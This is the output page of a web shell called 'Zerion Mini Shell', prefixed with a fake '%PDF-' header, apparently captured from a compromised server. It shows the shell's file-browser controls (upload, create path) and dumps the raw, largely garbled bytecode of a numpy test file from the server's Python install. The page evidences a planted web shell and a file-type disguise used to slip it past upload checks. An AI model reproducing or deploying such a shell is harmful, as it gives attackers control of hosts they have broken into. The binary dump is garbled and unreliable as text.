%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib64/python3.9/site-packages/numpy/random/tests/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib64/python3.9/site-packages/numpy/random/tests/__pycache__/test_extending.cpython-39.pyc

a

z[yc�
�@s�ddlZddlZddlZddlZddlZddlZddlZddlm	Z	zddl
Z
WneyfdZ
Yn0ejj
dkrxdZ
zFejdd��&Ze�dde�ddlZWd�n1s�0YWney�dZYn0zddlZddlmZWne�ydZYn,0dd	lmZd
Ze�e�e�e�k�r2dZejjedudd�ejjd
d���Zejjedu�ple
dudd�dd��Z ejje
dudd�dd��Z!dS)�N)�exec_mod_from_location�T)�record�always�)�version)�_pep440z0.29.30zrequires cython)�reasoncCs�tj�tj�t�d�}t�||d�|ddd}tjt	j
ddddt|d	�d
dt|d�g	t|�d
�t|d��D}d}t
|�D]\}}||vr�q�q�ds�Jd�|���Wd�n1s�0Yd}}t|d��:}|D]$}d|vr�|��}d|vr�|��}q�Wd�n1�s"0Y|du�s:J�|du�sHJ�td|�td|�}	ddlm}
|	�|
d�dd�}|jdk�s�J�|jtjk�s�J�dS)Nz..ZrandomZ	_examples�cythonzsetup.pyZbuild�installz--prefixZ
installdirz#--single-version-externally-managedz--recordztmp_install_log.txt)�cwdzextending.cz0NumPy API declarations from "numpy/__init__.pxd"Fz-Could not find '{}' in C file, wrong pxd usedz
extending.�extending_distributions�	extendingr)�PCG64�
�d)r)�os�path�join�dirname�__file__�shutil�copytree�
subprocessZ
check_call�sys�
executable�str�open�	enumerate�format�striprZnumpy.randomrZuniforms_ex�shapeZdtype�npZfloat64)Ztmp_pathZsrcdirZ	build_dirZfidZtxt_to_find�i�lineZso1Zso2r
r�values�r&�G/usr/lib64/python3.9/site-packages/numpy/random/tests/test_extending.py�test_cython,sF��	
�$*
�r(zrequires numba and cfficCsddlm}dS�Nr�r)Znumpy.random._examples.numbarr*r&r&r'�
test_numbaXsr+z
requires cfficCsddlm}dSr))Znumpy.random._examples.cffirr*r&r&r'�	test_cffi]sr,)"rZpytestrrr�warningsZnumpyr"Znumpy.distutils.misc_utilrZcffi�ImportError�flags�optimize�catch_warnings�w�filterwarnings�DeprecationWarningZnumbar
ZCython.Compiler.VersionrZcython_versionZnumpy.compatrZrequired_version�parseZVersionZmarkZskipifZslowr(r+r,r&r&r&r'�<module>sJ
*

*�


Zerion Mini Shell 1.0